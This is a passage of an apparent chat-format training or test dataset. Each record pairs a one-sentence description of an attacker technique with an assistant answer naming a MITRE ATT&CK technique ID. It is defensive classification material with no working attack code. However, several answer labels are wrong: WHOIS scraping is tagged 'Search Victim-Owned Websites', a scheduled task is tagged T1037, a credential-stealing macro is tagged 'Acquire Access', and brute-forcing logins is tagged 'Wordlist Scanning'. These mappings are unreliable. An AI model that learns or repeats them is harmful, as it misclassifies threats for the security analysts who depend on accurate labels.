                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a phishing email to obtain credentials that allow access to a vulnerability database, where they download exploit scripts."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor harvests phone numbers from online contact forms to assist in social engineering."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware utilizes reflective code loading to execute a packed payload stored in its resources section, loading it into memory at runtime."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a new email address with the target’s internal messaging system."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates data by embedding it in NTP packets directed to an external NTP server."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit an existing internal proxy server to route their malicious requests, blending with normal traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injected malicious JavaScript into a corporate web login portal to capture usernames and passwords as users typed them."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor used a malicious registry value \"AutoRun\" pointing to \"cmd.exe /c\" to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performed keyword searches on Instagram for images showing office interiors, extracting clues about physical security measures."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses valid VPN credentials obtained from a third‑party breach to tunnel into the target network and pivot further."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors run 'nltest /domain_trusts' to discover domain trust relationships within the network."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gained access to a certificate management portal and downloaded expired but still functional digital certificates for reuse."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware silently adds its own root certificate to the enterprise PKI, enabling stealthy traffic interception."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a compromised service account to push a malicious GPO that adds a new local admin to all workstations."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages Windows Remote Management (WinRM) to execute PowerShell commands on adjacent machines."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group creates a launch daemon that periodically runs a script to collect and encrypt browser cookies."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary's beacon uses a custom protocol over port 9999 to avoid network-based alerts."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs session hijacking by injecting into the RDP process of a logged‑in user."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a JavaScript infinite loop in a web page to hog CPU resources on the victim's machine, causing denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script loads a custom library that hooks the Secure Desktop API (CredUIConfirmCredentials) to exfiltrate credentials entered during elevation prompts."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker establishes a chain of relays, each forwarding requests to the next, to achieve a multi-hop proxy for command and control."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using the 'ldapsearch' tool, the adversary pulls the 'sAMAccountName' attribute for all users in the domain."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware terminates the Volume Shadow Copy Service (VSS) to prevent creation of system snapshots."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerable file upload function to plant a web shell, then accesses it over the web to control the server."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify the binary's PE header to remove version information and other identifiable metadata."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro embedded in a PDF file sent via social engineering extracts stored Wi‑Fi credentials from the victim's system and transmits them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the compiled HTML file format, the attacker bypasses restrictions and triggers the execution of embedded JavaScript via the system's HTML processor."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor installed and used a custom remote access trojan disguised as a legitimate remote support application."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider used legitimate server management tools to place a hidden web shell in the web application’s uploads folder, bypassing security monitoring."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware program sends encrypted blocks inside UDP multicast streams to coordinate with peers."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests DHCP lease information from the victim's network to retrieve IP address allocations and device identifiers."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder deploys a malicious batch file through the domain's logon script, which creates a new local admin account."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employs domain fronting by sending TLS handshake with a legitimate SNI while the HTTP Host header references the malicious host."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set steals a private key associated with a corporate digital certificate to sign forged documents and spread misinformation."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom C++ program uses IoGetDeviceObjectPointer to locate device driver objects."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups have used DNS over HTTPS (DoH) to hide C2 traffic within legitimate DNS traffic, bypassing network monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised a CI/CD pipeline, intercepted the code signing process, and replaced the signing key with their own, allowing them to sign compromised updates."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through manipulation of library load paths, the adversary ensures that a compromised .dylib is loaded by a privileged process, resulting in execution hijack."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a custom username and password wordlist to brute‑force login pages and discover valid credentials."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the \"sudoedit\" command with a malicious path to edit a file as root and inject a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor resolves domain names that are derived from the victim’s machine ID, enabling it to locate a personalized C2 server."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages UIAutomation to monitor screen elements and log user actions within a banking application."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder creates a new RoleBinding that links their user to the \"system:aggregate-to-admin\" role in the cluster."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows Task Scheduler to create a task that runs a malicious script at logon."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary injects defacement text into the site's footer by exploiting a SQL injection vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SID-History manipulation is employed to stealthily elevate privileges without directly modifying group memberships."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a macro in a Word document, the attacker executes code that encrypts all files in the user's profile and leaves a message demanding a payment to decrypt."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers disable the OS firewall by modifying the netsh configuration and disabling the firewall service."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the Windows Registry's Shell value to replace Explorer.exe with a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The persistent code registers a systemd service with Enable=true, ensuring the malicious process runs after each reboot."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker acquires the victim's source code by paying a cyber‑crime forum member who claims to have insider access."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor registers a domain and obtains a free Let's Encrypt certificate, then uses it to sign malicious payloads delivered via HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue Office Ribbon XML file is placed in the user's profile, causing custom UI scripts to run at Office startup and load the implant."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages AppCert DLL registration to trigger code execution whenever a targeted program is launched."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Java applet exploits a known Java runtime vulnerability, causing the applet to execute a payload on the client system."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerable domain management API to create unauthorized subdomains for malicious use."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors reuse a previously leaked code signing private key to sign new malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By performing a session fixation attack, the attacker forces a victim’s browser to use a known session identifier that the attacker can later use."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload queries the CPU usage and pauses if the system is idle for more than five seconds, assuming it is being run in a sandbox with no user activity."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware accesses the Windows DPAPI-protected credential store to obtain stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Modifying the PATH variable to include a malicious directory is used to subvert legitimate program execution without altering the binary itself."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses 'systemctl enable malicious.service' to ensure the malicious code runs after each reboot."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged the VNC protocol to gain persistent remote access to the target system."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a DHCP spoofing tool that automatically detects and overrides legitimate DHCP servers, injecting malicious network parameters."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised firmware update to plant a boot-time backdoor."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan collects information about the victim's default PDF viewer and its plugin extensions for later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a signed driver to gain low‑level access and replace the boot sector with a custom loader."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs PowerShell's -EncodedCommand to run base64‑encoded payloads that reside solely in memory."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group used a backdoor to programmatically remove all egress restrictions from the cloud firewall, enabling data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to evade detection, the intruder executed their command‑and‑control beacon through the Windows Control Panel binary, masking it as a legitimate process."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query WHOIS databases and scrape the victim's domain registration records to gather infrastructure details."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts the system's UUID and chassis type from the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerInfo."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign targets finance employees with a spreadsheet attachment that macros automatically run to steal credentials."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sets a cron expression '* * * * *' in a container's crontab to continuously execute a command that exfiltrates data."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider creates a new user in Active Directory to exfiltrate sensitive data without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised SSH agent forwarding setup to execute commands on the target host without presenting new credentials."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
